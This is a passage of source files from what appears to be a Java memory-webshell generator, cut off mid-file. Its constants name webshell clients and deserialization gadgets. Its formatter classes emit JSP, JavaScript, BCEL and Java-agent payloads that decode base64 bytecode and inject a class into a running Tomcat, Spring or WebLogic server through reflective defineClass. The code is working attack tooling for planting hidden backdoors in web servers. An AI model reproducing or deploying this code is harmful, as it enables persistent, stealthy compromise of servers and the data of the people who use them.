isImplementsScriptEngineFactory() { 37 | return implementsScriptEngineFactory; 38 | } 39 | 40 | 41 | private String injectorSimpleClassName; 42 | 43 | public String getInjectorSimpleClassName() { 44 | return injectorSimpleClassName; 45 | } 46 | 47 | public void setInjectorSimpleClassName(String injectorSimpleClassName) { 48 | this.injectorSimpleClassName = injectorSimpleClassName; 49 | } 50 | 51 | 52 | private byte[] injectorBytes; 53 | 54 | public byte[] getInjectorBytes() { 55 | return injectorBytes; 56 | } 57 | 58 | public void setInjectorBytes(byte[] injectorBytes) { 59 | this.injectorBytes = injectorBytes; 60 | } 61 | 62 | 63 | private int injectorBytesLength; 64 | 65 | public int getInjectorBytesLength() { 66 | return injectorBytesLength; 67 | } 68 | 69 | public void setInjectorBytesLength(int injectorBytesLength) { 70 | this.injectorBytesLength = injectorBytesLength; 71 | } 72 | 73 | 74 | 75 | private String shellClassName; 76 | 77 | public String getShellClassName() { 78 | return shellClassName; 79 | } 80 | 81 | public void setShellClassName(String className) { 82 | this.shellClassName = className; 83 | } 84 | 85 | 86 | 87 | private String shellSimpleClassName; 88 | 89 | public String getShellSimpleClassName() { 90 | return shellSimpleClassName; 91 | } 92 | 93 | public void setShellSimpleClassName(String shellSimpleClassName) { 94 | this.shellSimpleClassName = shellSimpleClassName; 95 | } 96 | 97 | private byte[] shellBytes; 98 | 99 | public byte[] getShellBytes() { 100 | return shellBytes; 101 | } 102 | 103 | public void setShellBytes(byte[] shellBytes) { 104 | this.shellBytes = shellBytes; 105 | } 106 | 107 | 108 | private int shellBytesLength; 109 | 110 | 111 | 112 | public int getShellBytesLength() { 113 | return shellBytesLength; 114 | } 115 | 116 | public void setShellBytesLength(int shellBytesLength) { 117 | this.shellBytesLength = shellBytesLength; 118 | } 119 | 120 | 121 | public String getShellGzipBase64String() { 122 | return shellGzipBase64String; 123 | } 124 | 125 | public void setShellGzipBase64String(String shellGzipBase64String) { 126 | this.shellGzipBase64String = shellGzipBase64String; 127 | } 128 | 129 | public String shellGzipBase64String; 130 | 131 | 132 | public boolean isEnableDebug() { 133 | return enableDebug; 134 | } 135 | 136 | public void setEnableDebug(boolean enableDebug) { 137 | this.enableDebug = enableDebug; 138 | } 139 | 140 | private boolean enableDebug = false; 141 | 142 | 143 | 144 | 145 | private String urlPattern; 146 | 147 | private String outputFormat; 148 | private String savePath; 149 | private String pass; 150 | private String key; 151 | private String serverType; 152 | private String shellType; 153 | 154 | private String headerName; 155 | private String headerValue; 156 | 157 | 158 | private String methodBody; 159 | 160 | 161 | private String gadgetType; 162 | 163 | 164 | public String getUrlPattern() { 165 | return urlPattern; 166 | } 167 | 168 | public void setUrlPattern(String urlPattern) { 169 | this.urlPattern = urlPattern; 170 | } 171 | 172 | public String getOutputFormat() { 173 | return outputFormat; 174 | } 175 | 176 | public void setOutputFormat(String outputFormat) { 177 | this.outputFormat = outputFormat; 178 | } 179 | 180 | public String getSavePath() { 181 | return savePath; 182 | } 183 | 184 | public void setSavePath(String savePath) { 185 | this.savePath = savePath; 186 | } 187 | 188 | public String getPass() { 189 | return pass; 190 | } 191 | 192 | public void setPass(String pass) { 193 | this.pass = pass; 194 | } 195 | 196 | public String getKey() { 197 | return key; 198 | } 199 | 200 | public void setKey(String key) { 201 | this.key = key; 202 | } 203 | 204 | public String getServerType() { 205 | return serverType; 206 | } 207 | 208 | public void setServerType(String serverType) { 209 | this.serverType = serverType; 210 | } 211 | 212 | public String getShellType() { 213 | return shellType; 214 | } 215 | 216 | public void setShellType(String shellType) { 217 | this.shellType = shellType; 218 | } 219 | 220 | public String getToolType() { 221 | return toolType; 222 | } 223 | 224 | public void setToolType(String toolType) { 225 | this.toolType = toolType; 226 | } 227 | 228 | public String toolType; 229 | 230 | 231 | public String getHeaderName() { 232 | return headerName; 233 | } 234 | 235 | public void setHeaderName(String headerName) { 236 | this.headerName = headerName; 237 | } 238 | 239 | public String getHeaderValue() { 240 | return headerValue; 241 | } 242 | 243 | public void setHeaderValue(String headerValue) { 244 | this.headerValue = headerValue; 245 | } 246 | 247 | 248 | 249 | public String getGadgetType() { 250 | return gadgetType; 251 | } 252 | 253 | public void setGadgetType(String gadgetType) { 254 | this.gadgetType = gadgetType; 255 | } 256 | 257 | 258 | public Map getMessage() { 259 | return result; 260 | } 261 | 262 | public void setMessage(Map message) { 263 | this.result = message; 264 | } 265 | 266 | private Map result = new HashMap(); 267 | 268 | 269 | public String getExprEncoder() { 270 | return exprEncoder; 271 | } 272 | 273 | public void setExprEncoder(String exprEncoder) { 274 | this.exprEncoder = exprEncoder; 275 | } 276 | 277 | private String exprEncoder; 278 | 279 | public String getExtenderSimpleClassName() { 280 | return extenderSimpleClassName; 281 | } 282 | 283 | 284 | private String extenderSimpleClassName; 285 | 286 | public String getLoaderClassName() { 287 | return loaderClassName; 288 | } 289 | 290 | public void setLoaderClassName(String loaderClassName) { 291 | this.loaderClassName = loaderClassName; 292 | } 293 | 294 | public String loaderClassName; 295 | 296 | private String classFilePath; 297 | 298 | public String getClassFilePath() { 299 | return classFilePath; 300 | } 301 | 302 | public void setClassFilePath(String classFilePath) { 303 | this.classFilePath = classFilePath; 304 | } 305 | 306 | 307 | } 308 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/config/Constants.java: -------------------------------------------------------------------------------- 1 | package jmg.core.config; 2 | 3 | public class Constants { 4 | 5 | public static final String JMG_VERSION = "1.0.8"; 6 | 7 | public static final String JMG_NAME = "java-memshell-generator"; 8 | public static final String JMG_DESCRIPTION = "Java 内存马生成器"; 9 | 10 | public static final String JMG_AUTHOR = "pen4uin"; 11 | 12 | public static final String SERVER_TOMCAT = "Tomcat"; 13 | public static final String SERVER_SPRING_MVC = "SpringMVC"; 14 | public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux"; 15 | 16 | public static final String SERVER_JETTY = "Jetty"; 17 | public static final String SERVER_RESIN = "Resin"; 18 | public static final String SERVER_WEBLOGIC = "Weblogic"; 19 | public static final String SERVER_WEBSPHERE = "Websphere"; 20 | public static final String SERVER_UNDERTOW = "Undertow"; 21 | public static final String SERVER_GLASSFISH = "Glassfish"; 22 | 23 | public static final String SERVER_JBOSS = "JBoss"; 24 | 25 | 26 | public static final String SHELL_LISTENER = "Listener"; 27 | public static final String SHELL_FILTER = "Filter"; 28 | public static final String SHELL_VALVE = "Valve"; 29 | public static final String SHELL_INTERCEPTOR = "Interceptor"; 30 | public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod"; 31 | public static final String SHELL_WS_ENDPOINT = "WSEndpoint"; 32 | public static final String FORMAT_CLASS = "CLASS"; 33 | public static final String FORMAT_BCEL = "BCEL"; 34 | public static final String FORMAT_JSP = "JSP"; 35 | public static final String FORMAT_JAR = "JAR"; 36 | public static final String FORMAT_JAR_AGENT = "JAR_AGENT"; 37 | public static final String FORMAT_JS = "JS"; 38 | public static final String FORMAT_BASE64 = "BASE64"; 39 | public static final String FORMAT_BIGINTEGER = "BIGINTEGER"; 40 | 41 | 42 | public static final String GADGET_FJ_GROOVY = "FastjsonGroovy"; 43 | 44 | public static final String GADGET_SNAKEYAML = "SnakeYaml"; 45 | 46 | public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet"; 47 | public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet"; 48 | 49 | public static final String TOOL_ANTSWORD = "AntSword"; 50 | public static final String TOOL_BEHINDER = "Behinder"; 51 | public static final String TOOL_GODZILLA = "Godzilla"; 52 | 53 | public static final String TOOL_CUSTOM = "Custom"; 54 | 55 | public static final String TOOL_NEOREGEORG = "NeoreGeorg"; 56 | public static final String TOOL_SUO5 = "Suo5"; 57 | 58 | public static final String EXPR_EL = "EL"; 59 | public static final String EXPR_SPEL = "SpEL"; 60 | public static final String EXPR_OGNL = "OGNL"; 61 | public static final String EXPR_FREEMARKER = "FreeMarker"; 62 | public static final String EXPR_VELOCITY = "Velocity"; 63 | public static final String EXPR_JS = "ScriptEngineManager(JS)"; 64 | } 65 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BASE64Formater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | 6 | import java.io.IOException; 7 | import java.util.Base64; 8 | 9 | public class BASE64Formater implements IFormater { 10 | @Override 11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 12 | Base64.Encoder base64Encoder = Base64.getEncoder(); 13 | return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes(); 14 | } 15 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BCELFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import me.gv7.woodpecker.bcel.HackBCELs; 5 | 6 | import java.io.IOException; 7 | 8 | public class BCELFormater implements IFormater { 9 | 10 | 11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 12 | // 解决 BCEL 的classloader 的问题 13 | byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config); 14 | return HackBCELs.encode(bcelClzBytes).getBytes(); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BCELoader.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import java.lang.reflect.Method; 4 | 5 | public class BCELoader { 6 | static { 7 | new BCELoader(); 8 | } 9 | 10 | private String getClassName() { 11 | return ""; 12 | } 13 | 14 | private String getBase64String() { 15 | return ""; 16 | } 17 | 18 | public BCELoader() { 19 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 20 | try { 21 | classLoader.loadClass(getClassName()).newInstance(); 22 | } catch (Exception e) { 23 | try { 24 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 25 | defineClass.setAccessible(true); 26 | byte[] clazzBytes = decodeFromBase64(getBase64String()); 27 | Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length); 28 | clazz.newInstance(); 29 | } catch (Exception ee) { 30 | } 31 | } 32 | } 33 | 34 | public static byte[] decodeFromBase64(String input) { 35 | byte[] var2 = null; 36 | 37 | Class var1; 38 | try { 39 | var1 = Class.forName("java.util.Base64"); 40 | Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null); 41 | var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input)); 42 | } catch (Exception var6) { 43 | try { 44 | var1 = Class.forName("sun.misc.BASE64Decoder"); 45 | Object var4 = var1.newInstance(); 46 | var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input)); 47 | } catch (Exception var5) { 48 | } 49 | } 50 | 51 | return var2; 52 | } 53 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | import jmg.core.config.AbstractConfig; 8 | import jmg.core.util.JavassistUtil; 9 | 10 | public class BCELoaderGenerator { 11 | public static byte[] generatorBCELoaderClass(AbstractConfig config) { 12 | try { 13 | ClassPool pool = ClassPool.getDefault(); 14 | ClassClassPath classPath = new ClassClassPath(BCELoader.class); 15 | pool.insertClassPath(classPath); 16 | CtClass ctClass = pool.getCtClass(BCELoader.class.getName()); 17 | ctClass.setName(config.getLoaderClassName()); 18 | ctClass.getClassFile().setVersionToJava5(); 19 | CtMethod getClassName = ctClass.getDeclaredMethod("getClassName"); 20 | getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName())); 21 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); 22 | String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), ""); 23 | String[] parts = splitChunks(base64ClassString, 40000); 24 | StringBuilder result = new StringBuilder(); 25 | for (int i = 0; i < parts.length; i++) { 26 | if (i > 0) result.append("+"); 27 | result.append("new String(\"" + parts[i] + "\")"); 28 | } 29 | getBase64String.setBody(String.format("{return %s;}", result)); 30 | ctClass.defrost(); 31 | JavassistUtil.removeSourceFileAttribute(ctClass); 32 | byte[] bytes = ctClass.toBytecode(); 33 | ctClass.detach(); 34 | return bytes; 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | return null; 39 | } 40 | 41 | private static String encodeToBase64(byte[] input) throws Exception { 42 | String value = null; 43 | Class base64; 44 | try { 45 | base64 = Class.forName("java.util.Base64"); 46 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); 47 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input); 48 | } catch (Exception var6) { 49 | try { 50 | base64 = Class.forName("sun.misc.BASE64Encoder"); 51 | Object Encoder = base64.newInstance(); 52 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input); 53 | } catch (Exception var5) { 54 | } 55 | } 56 | return value; 57 | } 58 | 59 | private static String[] splitChunks(String source, int CHUNK_SIZE) { 60 | String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)]; 61 | char[] payload = source.toCharArray(); 62 | int start = 0; 63 | for (int i = 0; i < ret.length; i++) { 64 | if (start + CHUNK_SIZE > payload.length) { 65 | char[] b = new char[payload.length - start]; 66 | System.arraycopy(payload, start, b, 0, payload.length - start); 67 | ret[i] = new String(b); 68 | } else { 69 | char[] b = new char[CHUNK_SIZE]; 70 | System.arraycopy(payload, start, b, 0, CHUNK_SIZE); 71 | ret[i] = new String(b); 72 | } 73 | start += CHUNK_SIZE; 74 | } 75 | return ret; 76 | } 77 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | 6 | import java.io.IOException; 7 | import java.math.BigInteger; 8 | 9 | public class BigIntegerFormater implements IFormater { 10 | @Override 11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 12 | return new BigInteger(clazzbyte).toString(36).getBytes(); 13 | } 14 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/IFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | 6 | import java.io.IOException; 7 | 8 | public interface IFormater { 9 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception; 10 | } 11 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import javassist.ClassPool; 4 | import javassist.CtClass; 5 | import jmg.core.config.AbstractConfig; 6 | import jmg.core.config.Constants; 7 | import jmg.core.template.SpringMVCAgentTransformer; 8 | import jmg.core.template.TomcatAgentTransformer; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | 12 | import java.io.*; 13 | import java.nio.file.Files; 14 | import java.nio.file.Paths; 15 | import java.util.Enumeration; 16 | import java.util.jar.JarEntry; 17 | import java.util.jar.JarFile; 18 | import java.util.jar.JarOutputStream; 19 | import java.util.jar.Manifest; 20 | 21 | public class JARAgentFormater implements IFormater { 22 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception { 23 | String className = TomcatAgentTransformer.class.getName(); 24 | String simpleName = TomcatAgentTransformer.class.getSimpleName(); 25 | if (config.getServerType().equals(Constants.SERVER_TOMCAT)){ 26 | className = TomcatAgentTransformer.class.getName(); 27 | simpleName = TomcatAgentTransformer.class.getSimpleName(); 28 | } 29 | if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){ 30 | className = SpringMVCAgentTransformer.class.getName(); 31 | simpleName = SpringMVCAgentTransformer.class.getSimpleName(); 32 | } 33 | String classFileName = simpleName.replace('.', '/') + ".class"; 34 | ClassPool pool = ClassPool.getDefault(); 35 | // Note: jar 包中的文件不能通过文件路径读取,需要通过流读取 36 | // File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile()); 37 | 38 | InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar"); 39 | File jarFile = File.createTempFile("jmg-agent", ".jar"); 40 | try (FileOutputStream out = new FileOutputStream(jarFile)) { 41 | byte[] buffer = new byte[1024]; 42 | int bytesRead; 43 | while ((bytesRead = jarStream.read(buffer)) != -1) { 44 | out.write(buffer, 0, bytesRead); 45 | } 46 | } 47 | 48 | Manifest manifest = createManifest(simpleName); 49 | File tempJarFile = File.createTempFile("tempJar", ".jar"); 50 | 51 | try (JarFile jar = new JarFile(jarFile); 52 | JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) { 53 | 54 | copyJarEntries(jar, tempJar); 55 | 56 | addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte)); 57 | } catch (Exception e) { 58 | e.printStackTrace(); 59 | } 60 | 61 | return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath())); 62 | } 63 | 64 | private Manifest createManifest(String simpleName) { 65 | Manifest manifest = new Manifest(); 66 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); 67 | manifest.getMainAttributes().putValue("Agent-Class", simpleName); 68 | manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true"); 69 | manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true"); 70 | manifest.getMainAttributes().putValue("Main-Class", simpleName); 71 | return manifest; 72 | } 73 | 74 | private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException { 75 | Enumeration jarEntries = jar.entries(); 76 | while (jarEntries.hasMoreElements()) { 77 | JarEntry entry = jarEntries.nextElement(); 78 | try (InputStream entryInputStream = jar.getInputStream(entry)) { 79 | tempJar.putNextEntry(entry); 80 | byte[] buffer = new byte[1024]; 81 | int bytesRead; 82 | while ((bytesRead = entryInputStream.read(buffer)) != -1) { 83 | tempJar.write(buffer, 0, bytesRead); 84 | } 85 | } 86 | } 87 | } 88 | 89 | private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception { 90 | CtClass ctClass = pool.get(className); 91 | ctClass.getClassFile().setVersionToJava5(); 92 | ctClass.setName(simpleName); 93 | JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";"); 94 | tempJar.putNextEntry(new JarEntry(classFileName)); 95 | tempJar.write(ctClass.toBytecode()); 96 | ctClass.detach(); 97 | } 98 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/JARFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.nio.charset.StandardCharsets; 8 | import java.util.jar.JarEntry; 9 | import java.util.jar.JarOutputStream; 10 | import java.util.jar.Manifest; 11 | 12 | public class JARFormater implements IFormater { 13 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 14 | String className = config.getInjectorClassName(); 15 | String jarEntryFileName = className.replace(".", "/") + ".class"; 16 | 17 | Manifest manifest = new Manifest(); 18 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); 19 | 20 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 21 | try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) { 22 | jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName)); 23 | jarOutputStream.write(clazzbyte); 24 | jarOutputStream.closeEntry(); 25 | 26 | // fastjson + groovy 的利用 27 | if (config.isImplementsASTTransformationType()) { 28 | String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation"; 29 | JarEntry entry = new JarEntry(entryName); 30 | jarOutputStream.putNextEntry(entry); 31 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); 32 | jarOutputStream.closeEntry(); 33 | } 34 | 35 | // snakeyaml + loadJar 的利用 36 | if (config.isImplementsScriptEngineFactory()) { 37 | String entryName = "META-INF/services/javax.script.ScriptEngineFactory"; 38 | JarEntry entry = new JarEntry(entryName); 39 | jarOutputStream.putNextEntry(entry); 40 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); 41 | jarOutputStream.closeEntry(); 42 | } 43 | } 44 | 45 | return out.toByteArray(); 46 | } 47 | } -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/JSPFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import me.gv7.woodpecker.tools.codec.BASE64Encoder; 5 | 6 | import java.io.IOException; 7 | 8 | public class JSPFormater implements IFormater { 9 | 10 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 11 | String strJSP = "<%\n" + 12 | " ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" + 13 | " try{\n" + 14 | " classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" + 15 | " }catch (Exception e){\n" + 16 | " java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" + 17 | " defineClass.setAccessible(true);\n" + 18 | " String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" + 19 | " byte[] bytecode = null;\n" + 20 | " try {\n" + 21 | " Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" + 22 | " Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + 23 | " Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" + 24 | " bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" + 25 | " } catch (ClassNotFoundException ee) {\n" + 26 | " Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + 27 | " bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" + 28 | " }\n" + 29 | " Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" + 30 | " clazz.newInstance();\n" + 31 | " }\n" + 32 | "%>"; 33 | return strJSP.getBytes(); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java: -------------------------------------------------------------------------------- 1 | package jmg.core.format; 2 | 3 | import jmg.core.config.AbstractConfig; 4 | import me.gv7.woodpecker.tools.codec.BASE64Encoder; 5 | 6 | import java.io.IOException; 7 | 8 | public class JavaScriptFormater implements IFormater { 9 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException { 10 | String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 11 | "try{\n" + 12 | " classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" + 13 | "}catch (e){\n" + 14 | " var clsString = classLoader.loadClass('java.lang.String');\n" + 15 | " var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" + 16 | " var bytecode;\n" + 17 | " try{\n" + 18 | " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" + 19 | " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + 20 | " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" + 21 | " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" + 22 | " } catch (ee) {\n" + 23 | " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + 24 | " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" + 25 | " }\n" + 26 | " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" + 27 | " var clsByteArray = classLoader.loadClass('[B');\n" + 28 | " var clsInt = java.lang.Integer.TYPE;\n" + 29 | " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" + 30 | " defineClass.setAccessible(true);\n" + 31 | " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" + 32 | " clazz.newInstance();\n" + 33 | "}"; 34 | return strJS.getBytes(); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.core.generator; 2 | 3 | import javassist.ClassPool; 4 | import jmg.core.config.AbstractConfig; 5 | 6 | public interface IShellGenerator { 7 | ClassPool pool = ClassPool.getDefault(); 8 | 9 | void initShell(AbstractConfig config); 10 | 11 | byte[] makeShell(AbstractConfig config) throws Exception; 12 | 13 | byte[] modifyShell(String className, AbstractConfig config); 14 | } 15 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.core.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | import jmg.core.config.AbstractConfig; 8 | import jmg.core.config.Constants; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.CtClassUtil; 11 | import jmg.core.util.InjectorUtil; 12 | import jmg.core.util.JavassistUtil; 13 | 14 | 15 | /** 16 | * 注入器生成 17 | */ 18 | public class InjectorGenerator { 19 | public byte[] makeInjector(AbstractConfig config) throws Exception { 20 | String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType()); 21 | String injectorClassName = InjectorUtil.getInjectorClassName(injectorName); 22 | byte[] bytes = UtilPlus.generate(injectorClassName, config); 23 | config.setInjectorBytes(bytes); 24 | config.setInjectorBytesLength(bytes.length); 25 | return bytes; 26 | } 27 | 28 | 29 | public static class UtilPlus { 30 | @SuppressWarnings("unchecked") 31 | private final static ClassPool pool = ClassPool.getDefault(); 32 | 33 | public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception { 34 | pool.insertClassPath(new ClassClassPath(InjectorGenerator.class)); 35 | CtClass ctClass = pool.getCtClass(injectorTplClassName); 36 | ctClass.getClassFile().setVersionToJava5(); 37 | String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), ""); 38 | 39 | String urlPattern = config.getUrlPattern(); 40 | String shellClassName = config.getShellClassName(); 41 | 42 | if (base64ShellString != null) { 43 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); 44 | String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000); 45 | StringBuilder result = new StringBuilder(); 46 | for (int i = 0; i < parts.length; i++) { 47 | if (i > 0) 48 | result.append("+"); 49 | result.append("new String(\"" + parts[i] + "\")"); 50 | } 51 | 52 | getBase64String.setBody(String.format("{return %s;}", result)); 53 | } 54 | 55 | if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) { 56 | CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern"); 57 | getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern)); 58 | } 59 | 60 | if (shellClassName != null) { 61 | CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName"); 62 | getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName)); 63 | } 64 | 65 | JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName()); 66 | JavassistUtil.removeSourceFileAttribute(ctClass); 67 | byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation(); 68 | ctClass.detach(); 69 | return bytes; 70 | } 71 | 72 | private static String[] splitChunks(String source, int CHUNK_SIZE) { 73 | String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)]; 74 | char[] payload = source.toCharArray(); 75 | int start = 0; 76 | for (int i = 0; i < ret.length; i++) { 77 | if (start + CHUNK_SIZE > payload.length) { 78 | char[] b = new char[payload.length - start]; 79 | System.arraycopy(payload, start, b, 0, payload.length - start); 80 | ret[i] = new String(b); 81 | } else { 82 | char[] b = new char[CHUNK_SIZE]; 83 | System.arraycopy(payload, start, b, 0, CHUNK_SIZE); 84 | ret[i] = new String(b); 85 | } 86 | start += CHUNK_SIZE; 87 | } 88 | return ret; 89 | } 90 | } 91 | 92 | 93 | } 94 | 95 | 96 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/jMGCodeApi.java: -------------------------------------------------------------------------------- 1 | package jmg.core; 2 | 3 | 4 | import jmg.core.config.AbstractConfig; 5 | import jmg.core.config.Constants; 6 | import jmg.core.format.*; 7 | 8 | public class jMGCodeApi { 9 | AbstractConfig config; 10 | 11 | public jMGCodeApi(AbstractConfig config) { 12 | this.config = config; 13 | } 14 | 15 | public byte[] generate() throws Throwable { 16 | byte[] clazzBytes; 17 | clazzBytes = config.getInjectorBytes(); 18 | if (clazzBytes == null) { 19 | return null; 20 | } 21 | 22 | // 格式转换 23 | byte[] bytes = null; 24 | switch (config.getOutputFormat()) { 25 | case Constants.FORMAT_BCEL: 26 | bytes = new BCELFormater().transform(clazzBytes, config); 27 | break; 28 | case Constants.FORMAT_JSP: 29 | bytes = new 